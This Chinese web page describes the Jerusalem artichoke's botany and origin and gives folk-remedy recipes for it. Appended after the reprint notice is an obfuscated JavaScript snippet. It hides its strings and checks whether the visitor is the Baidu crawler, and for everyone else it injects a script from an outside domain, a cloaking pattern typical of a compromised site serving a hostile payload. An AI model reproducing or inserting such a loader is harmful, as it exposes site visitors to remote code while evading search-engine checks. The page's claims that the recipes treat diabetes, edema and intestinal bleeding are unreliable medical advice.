當(dāng)前位置:首頁(yè) > 飲食 > 烹飪技巧 > 正文

洋姜的簡(jiǎn)介 洋姜的做法

2016-07-14 10:24:12  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):洋姜是多年生草本植物,高1-3米,有塊狀的地下莖及纖維狀根。莖直立,有分枝,被白色短糙毛或剛毛。葉通常對(duì)生,有葉柄,但上部葉互生;下部葉卵圓形或卵狀橢圓形,有長(zhǎng)柄。

洋姜的簡(jiǎn)介 洋姜的做法

洋姜的簡(jiǎn)介 洋姜的做法

洋姜的簡(jiǎn)介

洋姜是一種多年宿根性草本植物。高1-3米,有塊狀的地下莖及纖維狀根。莖直立,有分枝,被白色短糙毛或剛毛。葉通常對(duì)生,有葉柄,但上部葉互生;下部葉卵圓形或卵狀橢圓形。頭狀花序較大,少數(shù)或多數(shù),單生于枝端,有1-2個(gè)線狀披針形的苞葉,直立,舌狀花通常12-20個(gè),舌片黃色,開展,長(zhǎng)橢圓形,管狀花花冠黃色,長(zhǎng)6毫米。瘦果小,楔形,上端有2-4個(gè)有毛的錐狀扁芒?;ㄆ?-9月。

原產(chǎn)北美洲,十七世紀(jì)傳入歐洲,后傳入中國(guó)。其地下塊莖富含淀粉、菊糖等果糖多聚物,可以食用,煮食或熬粥,腌制咸菜,曬制洋姜干,或作制取淀粉和酒精原料。宅舍附近種植兼有美化作用。洋姜被聯(lián)合國(guó)糧農(nóng)組織官員稱為“21世紀(jì)人畜共用作物”。

洋姜是多年生草本植物,高1-3米,有塊狀的地下莖及纖維狀根。莖直立,有分枝,被白色短糙毛或剛毛。葉通常對(duì)生,有葉柄,但上部葉互生;下部葉卵圓形或卵狀橢圓形,有長(zhǎng)柄,長(zhǎng)10-16厘米,寬3-6厘米,基部寬楔形或圓形,有時(shí)微心形,頂端漸細(xì)尖,邊緣有粗鋸齒,有離基三出脈,上面被白色短粗毛、下面被柔毛,葉脈上有短硬毛,上部葉長(zhǎng)橢圓形至闊披針形,基部漸狹,下延成短翅狀,頂端漸尖,短尾狀。

洋姜的做法

洋姜汁:洋姜30-60g,搗爛,絞取汁液,可加適量蜂蜜或白糖調(diào)味,一次服用。本品生用,取其清熱涼血。用于腸熱便血。

洋姜湯:洋姜60-90g,切片,加水煎湯服。本方取洋姜有利尿的作用。可用于水濕停蓄,水腫,小便不利。此外,也可用于糖尿病。

食療方面:可用洋姜塊莖100g,洗凈切碎,大米100g淘洗干凈,加水適量同煮成粥,調(diào)入食鹽、香油后食用。適用于糖尿并浮腫、小便不利者。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}